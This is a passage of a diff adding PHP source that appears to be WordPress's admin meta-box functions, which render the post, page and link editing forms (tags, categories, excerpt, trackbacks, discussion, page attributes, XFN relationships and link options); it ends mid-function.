+ *     @type callback $callback Meta box display callback.
+ *     @type array    $args {
+ *         Extra meta box arguments.
+ *
+ *         @type string $taxonomy Taxonomy. Default 'post_tag'.
+ *     }
+ * }
+ */
+function post_tags_meta_box( $post, $box ) {
+	$defaults = array( 'taxonomy' => 'post_tag' );
+	if ( ! isset( $box['args'] ) || ! is_array( $box['args'] ) ) {
+		$args = array();
+	} else {
+		$args = $box['args'];
+	}
+	$r = wp_parse_args( $args, $defaults );
+	$tax_name = esc_attr( $r['taxonomy'] );
+	$taxonomy = get_taxonomy( $r['taxonomy'] );
+	$user_can_assign_terms = current_user_can( $taxonomy->cap->assign_terms );
+	$comma = _x( ',', 'tag delimiter' );
+?>
+<div class="tagsdiv" id="<?php echo $tax_name; ?>">
+	<div class="jaxtag">
+	<div class="nojs-tags hide-if-js">
+	<p><?php echo $taxonomy->labels->add_or_remove_items; ?></p>
+	<textarea name="<?php echo "tax_input[$tax_name]"; ?>" rows="3" cols="20" class="the-tags" id="tax-input-<?php echo $tax_name; ?>" <?php disabled( ! $user_can_assign_terms ); ?>><?php echo str_replace( ',', $comma . ' ', get_terms_to_edit( $post->ID, $tax_name ) ); // textarea_escaped by esc_attr() ?></textarea></div>
+ 	<?php if ( $user_can_assign_terms ) : ?>
+	<div class="ajaxtag hide-if-no-js">
+		<label class="screen-reader-text" for="new-tag-<?php echo $tax_name; ?>"><?php echo $box['title']; ?></label>
+		<div class="taghint"><?php echo $taxonomy->labels->add_new_item; ?></div>
+		<p><input type="text" id="new-tag-<?php echo $tax_name; ?>" name="newtag[<?php echo $tax_name; ?>]" class="newtag form-input-tip" size="16" autocomplete="off" value="" />
+		<input type="button" class="button tagadd" value="<?php esc_attr_e('Add'); ?>" /></p>
+	</div>
+	<p class="howto"><?php echo $taxonomy->labels->separate_items_with_commas; ?></p>
+	<?php endif; ?>
+	</div>
+	<div class="tagchecklist"></div>
+</div>
+<?php if ( $user_can_assign_terms ) : ?>
+<p class="hide-if-no-js"><a href="#titlediv" class="tagcloud-link" id="link-<?php echo $tax_name; ?>"><?php echo $taxonomy->labels->choose_from_most_used; ?></a></p>
+<?php endif; ?>
+<?php
+}
+
+/**
+ * Display post categories form fields.
+ *
+ * @since 2.6.0
+ *
+ * @todo Create taxonomy-agnostic wrapper for this.
+ *
+ * @param WP_Post $post Post object.
+ * @param array   $box {
+ *     Categories meta box arguments.
+ *
+ *     @type string   $id       Meta box ID.
+ *     @type string   $title    Meta box title.
+ *     @type callback $callback Meta box display callback.
+ *     @type array    $args {
+ *         Extra meta box arguments.
+ *
+ *         @type string $taxonomy Taxonomy. Default 'category'.
+ *     }
+ * }
+ */
+function post_categories_meta_box( $post, $box ) {
+	$defaults = array( 'taxonomy' => 'category' );
+	if ( ! isset( $box['args'] ) || ! is_array( $box['args'] ) ) {
+		$args = array();
+	} else {
+		$args = $box['args'];
+	}
+	$r = wp_parse_args( $args, $defaults );
+	$tax_name = esc_attr( $r['taxonomy'] );
+	$taxonomy = get_taxonomy( $r['taxonomy'] );
+	?>
+	<div id="taxonomy-<?php echo $tax_name; ?>" class="categorydiv">
+		<ul id="<?php echo $tax_name; ?>-tabs" class="category-tabs">
+			<li class="tabs"><a href="#<?php echo $tax_name; ?>-all"><?php echo $taxonomy->labels->all_items; ?></a></li>
+			<li class="hide-if-no-js"><a href="#<?php echo $tax_name; ?>-pop"><?php _e( 'Most Used' ); ?></a></li>
+		</ul>
+
+		<div id="<?php echo $tax_name; ?>-pop" class="tabs-panel" style="display: none;">
+			<ul id="<?php echo $tax_name; ?>checklist-pop" class="categorychecklist form-no-clear" >
+				<?php $popular_ids = wp_popular_terms_checklist( $tax_name ); ?>
+			</ul>
+		</div>
+
+		<div id="<?php echo $tax_name; ?>-all" class="tabs-panel">
+			<?php
+            $name = ( $tax_name == 'category' ) ? 'post_category' : 'tax_input[' . $tax_name . ']';
+            echo "<input type='hidden' name='{$name}[]' value='0' />"; // Allows for an empty term set to be sent. 0 is an invalid Term ID and will be ignored by empty() checks.
+            ?>
+			<ul id="<?php echo $tax_name; ?>checklist" data-wp-lists="list:<?php echo $tax_name; ?>" class="categorychecklist form-no-clear">
+				<?php wp_terms_checklist( $post->ID, array( 'taxonomy' => $tax_name, 'popular_cats' => $popular_ids ) ); ?>
+			</ul>
+		</div>
+	<?php if ( current_user_can( $taxonomy->cap->edit_terms ) ) : ?>
+			<div id="<?php echo $tax_name; ?>-adder" class="wp-hidden-children">
+				<h4>
+					<a id="<?php echo $tax_name; ?>-add-toggle" href="#<?php echo $tax_name; ?>-add" class="hide-if-no-js">
+						<?php
+							/* translators: %s: add new taxonomy label */
+							printf( __( '+ %s' ), $taxonomy->labels->add_new_item );
+						?>
+					</a>
+				</h4>
+				<p id="<?php echo $tax_name; ?>-add" class="category-add wp-hidden-child">
+					<label class="screen-reader-text" for="new<?php echo $tax_name; ?>"><?php echo $taxonomy->labels->add_new_item; ?></label>
+					<input type="text" name="new<?php echo $tax_name; ?>" id="new<?php echo $tax_name; ?>" class="form-required form-input-tip" value="<?php echo esc_attr( $taxonomy->labels->new_item_name ); ?>" aria-required="true"/>
+					<label class="screen-reader-text" for="new<?php echo $tax_name; ?>_parent">
+						<?php echo $taxonomy->labels->parent_item_colon; ?>
+					</label>
+					<?php wp_dropdown_categories( array( 'taxonomy' => $tax_name, 'hide_empty' => 0, 'name' => 'new' . $tax_name . '_parent', 'orderby' => 'name', 'hierarchical' => 1, 'show_option_none' => '&mdash; ' . $taxonomy->labels->parent_item . ' &mdash;' ) ); ?>
+					<input type="button" id="<?php echo $tax_name; ?>-add-submit" data-wp-lists="add:<?php echo $tax_name; ?>checklist:<?php echo $tax_name; ?>-add" class="button category-add-submit" value="<?php echo esc_attr( $taxonomy->labels->add_new_item ); ?>" />
+					<?php wp_nonce_field( 'add-' . $tax_name, '_ajax_nonce-add-' . $tax_name, false ); ?>
+					<span id="<?php echo $tax_name; ?>-ajax-response"></span>
+				</p>
+			</div>
+		<?php endif; ?>
+	</div>
+	<?php
+}
+
+/**
+ * Display post excerpt form fields.
+ *
+ * @since 2.6.0
+ *
+ * @param object $post
+ */
+function post_excerpt_meta_box($post) {
+?>
+<label class="screen-reader-text" for="excerpt"><?php _e('Excerpt') ?></label><textarea rows="1" cols="40" name="excerpt" id="excerpt"><?php echo $post->post_excerpt; // textarea_escaped ?></textarea>
+<p><?php _e('Excerpts are optional hand-crafted summaries of your content that can be used in your theme. <a href="http://codex.wordpress.org/Excerpt" target="_blank">Learn more about manual excerpts.</a>'); ?></p>
+<?php
+}
+
+/**
+ * Display trackback links form fields.
+ *
+ * @since 2.6.0
+ *
+ * @param object $post
+ */
+function post_trackback_meta_box($post) {
+	$form_trackback = '<input type="text" name="trackback_url" id="trackback_url" class="code" value="'. esc_attr( str_replace("\n", ' ', $post->to_ping) ) .'" />';
+	if ('' != $post->pinged) {
+		$pings = '<p>'. __('Already pinged:') . '</p><ul>';
+		$already_pinged = explode("\n", trim($post->pinged));
+		foreach ($already_pinged as $pinged_url) {
+			$pings .= "\n\t<li>" . esc_html($pinged_url) . "</li>";
+		}
+		$pings .= '</ul>';
+	}
+
+?>
+<p><label for="trackback_url"><?php _e('Send trackbacks to:'); ?></label> <?php echo $form_trackback; ?><br /> (<?php _e('Separate multiple URLs with spaces'); ?>)</p>
+<p><?php _e('Trackbacks are a way to notify legacy blog systems that you&#8217;ve linked to them. If you link other WordPress sites they&#8217;ll be notified automatically using <a href="http://codex.wordpress.org/Introduction_to_Blogging#Managing_Comments" target="_blank">pingbacks</a>, no other action necessary.'); ?></p>
+<?php
+if ( ! empty($pings) )
+	echo $pings;
+}
+
+/**
+ * Display custom fields form fields.
+ *
+ * @since 2.6.0
+ *
+ * @param object $post
+ */
+function post_custom_meta_box($post) {
+?>
+<div id="postcustomstuff">
+<div id="ajax-response"></div>
+<?php
+$metadata = has_meta($post->ID);
+foreach ( $metadata as $key => $value ) {
+	if ( is_protected_meta( $metadata[ $key ][ 'meta_key' ], 'post' ) || ! current_user_can( 'edit_post_meta', $post->ID, $metadata[ $key ][ 'meta_key' ] ) )
+		unset( $metadata[ $key ] );
+}
+list_meta( $metadata );
+meta_form( $post ); ?>
+</div>
+<p><?php _e('Custom fields can be used to add extra metadata to a post that you can <a href="http://codex.wordpress.org/Using_Custom_Fields" target="_blank">use in your theme</a>.'); ?></p>
+<?php
+}
+
+/**
+ * Display comments status form fields.
+ *
+ * @since 2.6.0
+ *
+ * @param object $post
+ */
+function post_comment_status_meta_box($post) {
+?>
+<input name="advanced_view" type="hidden" value="1" />
+<p class="meta-options">
+	<label for="comment_status" class="selectit"><input name="comment_status" type="checkbox" id="comment_status" value="open" <?php checked($post->comment_status, 'open'); ?> /> <?php _e( 'Allow comments.' ) ?></label><br />
+	<label for="ping_status" class="selectit"><input name="ping_status" type="checkbox" id="ping_status" value="open" <?php checked($post->ping_status, 'open'); ?> /> <?php printf( __( 'Allow <a href="%s" target="_blank">trackbacks and pingbacks</a> on this page.' ), __( 'http://codex.wordpress.org/Introduction_to_Blogging#Managing_Comments' ) ); ?></label>
+	<?php
+	/**
+	 * Fires at the end of the Discussion meta box on the post editing screen.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param WP_Post $post WP_Post object of the current post.
+	 */
+	do_action( 'post_comment_status_meta_box-options', $post );
+	?>
+</p>
+<?php
+}
+
+/**
+ * Display comments for post table header
+ *
+ * @since 3.0.0
+ *
+ * @param array $result table header rows
+ * @return array
+ */
+function post_comment_meta_box_thead($result) {
+	unset($result['cb'], $result['response']);
+	return $result;
+}
+
+/**
+ * Display comments for post.
+ *
+ * @since 2.8.0
+ *
+ * @param object $post
+ */
+function post_comment_meta_box( $post ) {
+	wp_nonce_field( 'get-comments', 'add_comment_nonce', false );
+	?>
+	<p class="hide-if-no-js" id="add-new-comment"><a class="button" href="#commentstatusdiv" onclick="window.commentReply && commentReply.addcomment(<?php echo $post->ID; ?>);return false;"><?php _e('Add comment'); ?></a></p>
+	<?php
+
+	$total = get_comments( array( 'post_id' => $post->ID, 'number' => 1, 'count' => true ) );
+	$wp_list_table = _get_list_table('WP_Post_Comments_List_Table');
+	$wp_list_table->display( true );
+
+	if ( 1 > $total ) {
+		echo '<p id="no-comments">' . __('No comments yet.') . '</p>';
+	} else {
+		$hidden = get_hidden_meta_boxes( get_current_screen() );
+		if ( ! in_array('commentsdiv', $hidden) ) {
+			?>
+			<script type="text/javascript">jQuery(document).ready(function(){commentsBox.get(<?php echo $total; ?>, 10);});</script>
+			<?php
+		}
+
+		?>
+		<p class="hide-if-no-js" id="show-comments"><a href="#commentstatusdiv" onclick="commentsBox.get(<?php echo $total; ?>);return false;"><?php _e('Show comments'); ?></a> <span class="spinner"></span></p>
+		<?php
+	}
+
+	wp_comment_trashnotice();
+}
+
+/**
+ * Display slug form fields.
+ *
+ * @since 2.6.0
+ *
+ * @param object $post
+ */
+function post_slug_meta_box($post) {
+/** This filter is documented in wp-admin/edit-tag-form.php */
+?>
+<label class="screen-reader-text" for="post_name"><?php _e('Slug') ?></label><input name="post_name" type="text" size="13" id="post_name" value="<?php echo esc_attr( apply_filters( 'editable_slug', $post->post_name ) ); ?>" />
+<?php
+}
+
+/**
+ * Display form field with list of authors.
+ *
+ * @since 2.6.0
+ *
+ * @param object $post
+ */
+function post_author_meta_box($post) {
+	global $user_ID;
+?>
+<label class="screen-reader-text" for="post_author_override"><?php _e('Author'); ?></label>
+<?php
+	wp_dropdown_users( array(
+		'who' => 'authors',
+		'name' => 'post_author_override',
+		'selected' => empty($post->ID) ? $user_ID : $post->post_author,
+		'include_selected' => true
+	) );
+}
+
+/**
+ * Display list of revisions.
+ *
+ * @since 2.6.0
+ *
+ * @param object $post
+ */
+function post_revisions_meta_box( $post ) {
+	wp_list_post_revisions( $post );
+}
+
+// -- Page related Meta Boxes
+
+/**
+ * Display page attributes form fields.
+ *
+ * @since 2.7.0
+ *
+ * @param object $post
+ */
+function page_attributes_meta_box($post) {
+	$post_type_object = get_post_type_object($post->post_type);
+	if ( $post_type_object->hierarchical ) {
+		$dropdown_args = array(
+			'post_type'        => $post->post_type,
+			'exclude_tree'     => $post->ID,
+			'selected'         => $post->post_parent,
+			'name'             => 'parent_id',
+			'show_option_none' => __('(no parent)'),
+			'sort_column'      => 'menu_order, post_title',
+			'echo'             => 0,
+		);
+
+		/**
+		 * Filter the arguments used to generate a Pages drop-down element.
+		 *
+		 * @since 3.3.0
+		 *
+		 * @see wp_dropdown_pages()
+		 *
+		 * @param array   $dropdown_args Array of arguments used to generate the pages drop-down.
+		 * @param WP_Post $post          The current WP_Post object.
+		 */
+		$dropdown_args = apply_filters( 'page_attributes_dropdown_pages_args', $dropdown_args, $post );
+		$pages = wp_dropdown_pages( $dropdown_args );
+		if ( ! empty($pages) ) {
+?>
+<p><strong><?php _e('Parent') ?></strong></p>
+<label class="screen-reader-text" for="parent_id"><?php _e('Parent') ?></label>
+<?php echo $pages; ?>
+<?php
+		} // end empty pages check
+	} // end hierarchical check.
+	if ( 'page' == $post->post_type && 0 != count( get_page_templates( $post ) ) ) {
+		$template = !empty($post->page_template) ? $post->page_template : false;
+		?>
+<p><strong><?php _e('Template') ?></strong></p>
+<label class="screen-reader-text" for="page_template"><?php _e('Page Template') ?></label><select name="page_template" id="page_template">
+<?php
+/**
+ * Filter the title of the default page template displayed in the drop-down.
+ *
+ * @since 4.1.0
+ *
+ * @param string $label   The display value for the default page template title.
+ * @param string $context Where the option label is displayed. Possible values
+ *                        include 'meta-box' or 'quick-edit'.
+ */
+$default_title = apply_filters( 'default_page_template_title',  __( 'Default Template' ), 'meta-box' );
+?> 
+<option value="default"><?php echo esc_html( $default_title ); ?></option>
+<?php page_template_dropdown($template); ?>
+</select>
+<?php
+	} ?>
+<p><strong><?php _e('Order') ?></strong></p>
+<p><label class="screen-reader-text" for="menu_order"><?php _e('Order') ?></label><input name="menu_order" type="text" size="4" id="menu_order" value="<?php echo esc_attr($post->menu_order) ?>" /></p>
+<p><?php if ( 'page' == $post->post_type ) _e( 'Need help? Use the Help tab in the upper right of your screen.' ); ?></p>
+<?php
+}
+
+// -- Link related Meta Boxes
+
+/**
+ * Display link create form fields.
+ *
+ * @since 2.7.0
+ *
+ * @param object $link
+ */
+function link_submit_meta_box($link) {
+?>
+<div class="submitbox" id="submitlink">
+
+<div id="minor-publishing">
+
+<?php // Hidden submit button early on so that the browser chooses the right button when form is submitted with Return key ?>
+<div style="display:none;">
+<?php submit_button( __( 'Save' ), 'button', 'save', false ); ?>
+</div>
+
+<div id="minor-publishing-actions">
+<div id="preview-action">
+<?php if ( !empty($link->link_id) ) { ?>
+	<a class="preview button" href="<?php echo $link->link_url; ?>" target="_blank"><?php _e('Visit Link'); ?></a>
+<?php } ?>
+</div>
+<div class="clear"></div>
+</div>
+
+<div id="misc-publishing-actions">
+<div class="misc-pub-section misc-pub-private">
+	<label for="link_private" class="selectit"><input id="link_private" name="link_visible" type="checkbox" value="N" <?php checked($link->link_visible, 'N'); ?> /> <?php _e('Keep this link private') ?></label>
+</div>
+</div>
+
+</div>
+
+<div id="major-publishing-actions">
+<?php
+/** This action is documented in wp-admin/includes/meta-boxes.php */
+do_action( 'post_submitbox_start' );
+?>
+<div id="delete-action">
+<?php
+if ( !empty($_GET['action']) && 'edit' == $_GET['action'] && current_user_can('manage_links') ) { ?>
+	<a class="submitdelete deletion" href="<?php echo wp_nonce_url("link.php?action=delete&amp;link_id=$link->link_id", 'delete-bookmark_' . $link->link_id); ?>" onclick="if ( confirm('<?php echo esc_js(sprintf(__("You are about to delete this link '%s'\n 'Cancel' to stop, 'OK' to delete."), $link->link_name )); ?>') ) {return true;}return false;"><?php _e('Delete'); ?></a>
+<?php } ?>
+</div>
+
+<div id="publishing-action">
+<?php if ( !empty($link->link_id) ) { ?>
+	<input name="save" type="submit" class="button-large button-primary" id="publish" accesskey="p" value="<?php esc_attr_e('Update Link') ?>" />
+<?php } else { ?>
+	<input name="save" type="submit" class="button-large button-primary" id="publish" accesskey="p" value="<?php esc_attr_e('Add Link') ?>" />
+<?php } ?>
+</div>
+<div class="clear"></div>
+</div>
+<?php
+/**
+ * Fires at the end of the Publish box in the Link editing screen.
+ *
+ * @since 2.5.0
+ */
+do_action( 'submitlink_box' );
+?>
+<div class="clear"></div>
+</div>
+<?php
+}
+
+/**
+ * Display link categories form fields.
+ *
+ * @since 2.6.0
+ *
+ * @param object $link
+ */
+function link_categories_meta_box($link) {
+?>
+<div id="taxonomy-linkcategory" class="categorydiv">
+	<ul id="category-tabs" class="category-tabs">
+		<li class="tabs"><a href="#categories-all"><?php _e( 'All Categories' ); ?></a></li>
+		<li class="hide-if-no-js"><a href="#categories-pop"><?php _e( 'Most Used' ); ?></a></li>
+	</ul>
+
+	<div id="categories-all" class="tabs-panel">
+		<ul id="categorychecklist" data-wp-lists="list:category" class="categorychecklist form-no-clear">
+			<?php
+			if ( isset($link->link_id) )
+				wp_link_category_checklist($link->link_id);
+			else
+				wp_link_category_checklist();
+			?>
+		</ul>
+	</div>
+
+	<div id="categories-pop" class="tabs-panel" style="display: none;">
+		<ul id="categorychecklist-pop" class="categorychecklist form-no-clear">
+			<?php wp_popular_terms_checklist('link_category'); ?>
+		</ul>
+	</div>
+
+	<div id="category-adder" class="wp-hidden-children">
+		<h4><a id="category-add-toggle" href="#category-add"><?php _e( '+ Add New Category' ); ?></a></h4>
+		<p id="link-category-add" class="wp-hidden-child">
+			<label class="screen-reader-text" for="newcat"><?php _e( '+ Add New Category' ); ?></label>
+			<input type="text" name="newcat" id="newcat" class="form-required form-input-tip" value="<?php esc_attr_e( 'New category name' ); ?>" aria-required="true" />
+			<input type="button" id="link-category-add-submit" data-wp-lists="add:categorychecklist:link-category-add" class="button" value="<?php esc_attr_e( 'Add' ); ?>" />
+			<?php wp_nonce_field( 'add-link-category', '_ajax_nonce', false ); ?>
+			<span id="category-ajax-response"></span>
+		</p>
+	</div>
+</div>
+<?php
+}
+
+/**
+ * Display form fields for changing link target.
+ *
+ * @since 2.6.0
+ *
+ * @param object $link
+ */
+function link_target_meta_box($link) { ?>
+<fieldset><legend class="screen-reader-text"><span><?php _e('Target') ?></span></legend>
+<p><label for="link_target_blank" class="selectit">
+<input id="link_target_blank" type="radio" name="link_target" value="_blank" <?php echo ( isset( $link->link_target ) && ($link->link_target == '_blank') ? 'checked="checked"' : ''); ?> />
+<?php _e('<code>_blank</code> &mdash; new window or tab.'); ?></label></p>
+<p><label for="link_target_top" class="selectit">
+<input id="link_target_top" type="radio" name="link_target" value="_top" <?php echo ( isset( $link->link_target ) && ($link->link_target == '_top') ? 'checked="checked"' : ''); ?> />
+<?php _e('<code>_top</code> &mdash; current window or tab, with no frames.'); ?></label></p>
+<p><label for="link_target_none" class="selectit">
+<input id="link_target_none" type="radio" name="link_target" value="" <?php echo ( isset( $link->link_target ) && ($link->link_target == '') ? 'checked="checked"' : ''); ?> />
+<?php _e('<code>_none</code> &mdash; same window or tab.'); ?></label></p>
+</fieldset>
+<p><?php _e('Choose the target frame for your link.'); ?></p>
+<?php
+}
+
+/**
+ * Display checked checkboxes attribute for xfn microformat options.
+ *
+ * @since 1.0.1
+ *
+ * @param string $class
+ * @param string $value
+ * @param mixed $deprecated Never used.
+ */
+function xfn_check( $class, $value = '', $deprecated = '' ) {
+	global $link;
+
+	if ( !empty( $deprecated ) )
+		_deprecated_argument( __FUNCTION__, '0.0' ); // Never implemented
+
+	$link_rel = isset( $link->link_rel ) ? $link->link_rel : ''; // In PHP 5.3: $link_rel = $link->link_rel ?: '';
+	$rels = preg_split('/\s+/', $link_rel);
+
+	if ('' != $value && in_array($value, $rels) ) {
+		echo ' checked="checked"';
+	}
+
+	if ('' == $value) {
+		if ('family' == $class && strpos($link_rel, 'child') === false && strpos($link_rel, 'parent') === false && strpos($link_rel, 'sibling') === false && strpos($link_rel, 'spouse') === false && strpos($link_rel, 'kin') === false) echo ' checked="checked"';
+		if ('friendship' == $class && strpos($link_rel, 'friend') === false && strpos($link_rel, 'acquaintance') === false && strpos($link_rel, 'contact') === false) echo ' checked="checked"';
+		if ('geographical' == $class && strpos($link_rel, 'co-resident') === false && strpos($link_rel, 'neighbor') === false) echo ' checked="checked"';
+		if ('identity' == $class && in_array('me', $rels) ) echo ' checked="checked"';
+	}
+}
+
+/**
+ * Display xfn form fields.
+ *
+ * @since 2.6.0
+ *
+ * @param object $link
+ */
+function link_xfn_meta_box($link) {
+?>
+<table class="links-table">
+	<tr>
+		<th scope="row"><label for="link_rel"><?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('rel:') ?></label></th>
+		<td><input type="text" name="link_rel" id="link_rel" value="<?php echo ( isset( $link->link_rel ) ? esc_attr($link->link_rel) : ''); ?>" /></td>
+	</tr>
+	<tr>
+		<th scope="row"><?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('identity') ?></th>
+		<td><fieldset><legend class="screen-reader-text"><span><?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('identity') ?></span></legend>
+			<label for="me">
+			<input type="checkbox" name="identity" value="me" id="me" <?php xfn_check('identity', 'me'); ?> />
+			<?php _e('another web address of mine') ?></label>
+		</fieldset></td>
+	</tr>
+	<tr>
+		<th scope="row"><?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('friendship') ?></th>
+		<td><fieldset><legend class="screen-reader-text"><span><?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('friendship') ?></span></legend>
+			<label for="contact">
+			<input class="valinp" type="radio" name="friendship" value="contact" id="contact" <?php xfn_check('friendship', 'contact'); ?> />&nbsp;<?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('contact') ?>
+			</label>
+			<label for="acquaintance">
+			<input class="valinp" type="radio" name="friendship" value="acquaintance" id="acquaintance" <?php xfn_check('friendship', 'acquaintance'); ?> />&nbsp;<?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('acquaintance') ?>
+			</label>
+			<label for="friend">
+			<input class="valinp" type="radio" name="friendship" value="friend" id="friend" <?php xfn_check('friendship', 'friend'); ?> />&nbsp;<?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('friend') ?>
+			</label>
+			<label for="friendship">
+			<input name="friendship" type="radio" class="valinp" value="" id="friendship" <?php xfn_check('friendship'); ?> />&nbsp;<?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('none') ?>
+			</label>
+		</fieldset></td>
+	</tr>
+	<tr>
+		<th scope="row"> <?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('physical') ?> </th>
+		<td><fieldset><legend class="screen-reader-text"><span><?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('physical') ?></span></legend>
+			<label for="met">
+			<input class="valinp" type="checkbox" name="physical" value="met" id="met" <?php xfn_check('physical', 'met'); ?> />&nbsp;<?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('met') ?>
+			</label>
+		</fieldset></td>
+	</tr>
+	<tr>
+		<th scope="row"> <?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('professional') ?> </th>
+		<td><fieldset><legend class="screen-reader-text"><span><?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('professional') ?></span></legend>
+			<label for="co-worker">
+			<input class="valinp" type="checkbox" name="professional" value="co-worker" id="co-worker" <?php xfn_check('professional', 'co-worker'); ?> />&nbsp;<?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('co-worker') ?>
+			</label>
+			<label for="colleague">
+			<input class="valinp" type="checkbox" name="professional" value="colleague" id="colleague" <?php xfn_check('professional', 'colleague'); ?> />&nbsp;<?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('colleague') ?>
+			</label>
+		</fieldset></td>
+	</tr>
+	<tr>
+		<th scope="row"><?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('geographical') ?></th>
+		<td><fieldset><legend class="screen-reader-text"><span> <?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('geographical') ?> </span></legend>
+			<label for="co-resident">
+			<input class="valinp" type="radio" name="geographical" value="co-resident" id="co-resident" <?php xfn_check('geographical', 'co-resident'); ?> />&nbsp;<?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('co-resident') ?>
+			</label>
+			<label for="neighbor">
+			<input class="valinp" type="radio" name="geographical" value="neighbor" id="neighbor" <?php xfn_check('geographical', 'neighbor'); ?> />&nbsp;<?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('neighbor') ?>
+			</label>
+			<label for="geographical">
+			<input class="valinp" type="radio" name="geographical" value="" id="geographical" <?php xfn_check('geographical'); ?> />&nbsp;<?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('none') ?>
+			</label>
+		</fieldset></td>
+	</tr>
+	<tr>
+		<th scope="row"><?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('family') ?></th>
+		<td><fieldset><legend class="screen-reader-text"><span> <?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('family') ?> </span></legend>
+			<label for="child">
+			<input class="valinp" type="radio" name="family" value="child" id="child" <?php xfn_check('family', 'child'); ?> />&nbsp;<?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('child') ?>
+			</label>
+			<label for="kin">
+			<input class="valinp" type="radio" name="family" value="kin" id="kin" <?php xfn_check('family', 'kin'); ?> />&nbsp;<?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('kin') ?>
+			</label>
+			<label for="parent">
+			<input class="valinp" type="radio" name="family" value="parent" id="parent" <?php xfn_check('family', 'parent'); ?> />&nbsp;<?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('parent') ?>
+			</label>
+			<label for="sibling">
+			<input class="valinp" type="radio" name="family" value="sibling" id="sibling" <?php xfn_check('family', 'sibling'); ?> />&nbsp;<?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('sibling') ?>
+			</label>
+			<label for="spouse">
+			<input class="valinp" type="radio" name="family" value="spouse" id="spouse" <?php xfn_check('family', 'spouse'); ?> />&nbsp;<?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('spouse') ?>
+			</label>
+			<label for="family">
+			<input class="valinp" type="radio" name="family" value="" id="family" <?php xfn_check('family'); ?> />&nbsp;<?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('none') ?>
+			</label>
+		</fieldset></td>
+	</tr>
+	<tr>
+		<th scope="row"><?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('romantic') ?></th>
+		<td><fieldset><legend class="screen-reader-text"><span> <?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('romantic') ?> </span></legend>
+			<label for="muse">
+			<input class="valinp" type="checkbox" name="romantic" value="muse" id="muse" <?php xfn_check('romantic', 'muse'); ?> />&nbsp;<?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('muse') ?>
+			</label>
+			<label for="crush">
+			<input class="valinp" type="checkbox" name="romantic" value="crush" id="crush" <?php xfn_check('romantic', 'crush'); ?> />&nbsp;<?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('crush') ?>
+			</label>
+			<label for="date">
+			<input class="valinp" type="checkbox" name="romantic" value="date" id="date" <?php xfn_check('romantic', 'date'); ?> />&nbsp;<?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('date') ?>
+			</label>
+			<label for="romantic">
+			<input class="valinp" type="checkbox" name="romantic" value="sweetheart" id="romantic" <?php xfn_check('romantic', 'sweetheart'); ?> />&nbsp;<?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('sweetheart') ?>
+			</label>
+		</fieldset></td>
+	</tr>
+
+</table>
+<p><?php _e('If the link is to a person, you can specify your relationship with them using the above form. If you would like to learn more about the idea check out <a href="http://gmpg.org/xfn/">XFN</a>.'); ?></p>
+<?php
+}
+
+/**
+ * Display advanced link options form fields.
+ *
+ * @since 2.6.0
+ *
+ * @param object $link
+ */
+function link_advanced_meta_box($link) {
+?>
+<table class="links-table" cellpadding="0">
+	<tr>
+		<th scope="row"><label for="link_image"><?php _e('Image Address') ?></label></th>
+		<td><input type="text" name="link_image" class="code" id="link_image" maxlength="255" value="<?php echo ( isset( $link->link_image ) ? esc_attr($link->link_image) : ''); ?>" /></td>
+	</tr>
+	<tr>
+		<th scope="row"><label for="rss_uri"><?php _e('RSS Address') ?></label></th>
+		<td><input name="link_rss" class="code" type="text" id="rss_uri" maxlength="255" value="<?php echo ( isset( $link->link_rss ) ? esc_attr($link->link_rss) : ''); ?>" /></td>
+	</tr>
+	<tr>
+		<th scope="row"><label for="link_notes"><?php _e('Notes') ?></label></th>
+		<td><textarea name="link_notes" id="link_notes" rows="10"><?php echo ( isset( $link->link_notes ) ? $link->link_notes : ''); // textarea_escaped ?></textarea></td>
+	</tr>
+	<tr>
+		<th scope="row"><label for="link_rating"><?php _e('Rating') ?></label></th>
+		<td><select name="link_rating" id="link_rating" size="1">
+		<?php
+			for ( $r = 0; $r <= 10; $r++ ) {
+				echo '<option value="' . $r . '"';
+				if ( isset($link->link_rating) && $link->link_rating == $r )
+					echo ' selected="selected"';
+				echo('>' . $r . '</option>');
+			}
+		?></select>&nbsp;<?php _e('(Leave at 0 for no rating.)') ?>
+		</td>
+	</tr>
+</table>
+<?php
+}
+
+/**
+ * Display post thumbnail meta box.
+ *
+ * @since 2.9.0
+ */
+function post_thumbnail_meta_box( $post ) {
+	$thumbnail_id = get_post_meta( $post->ID, '_thumbnail_id', true );
+	echo _wp_post_thumbnail_html( $thumbnail_id, $post->ID );
+}
+
+/**
+ * Display fields for ID3 data
+ *
+ * @since 3.9.0
+ *
+ * @param WP_Post $post
+ */
+function attachment_id3_data_meta_box( $post ) {
+	$meta = array();
+	if ( ! empty( $post->ID ) ) {
+		$meta = wp_get_attachment_metadata( $post->ID );
+	}
+
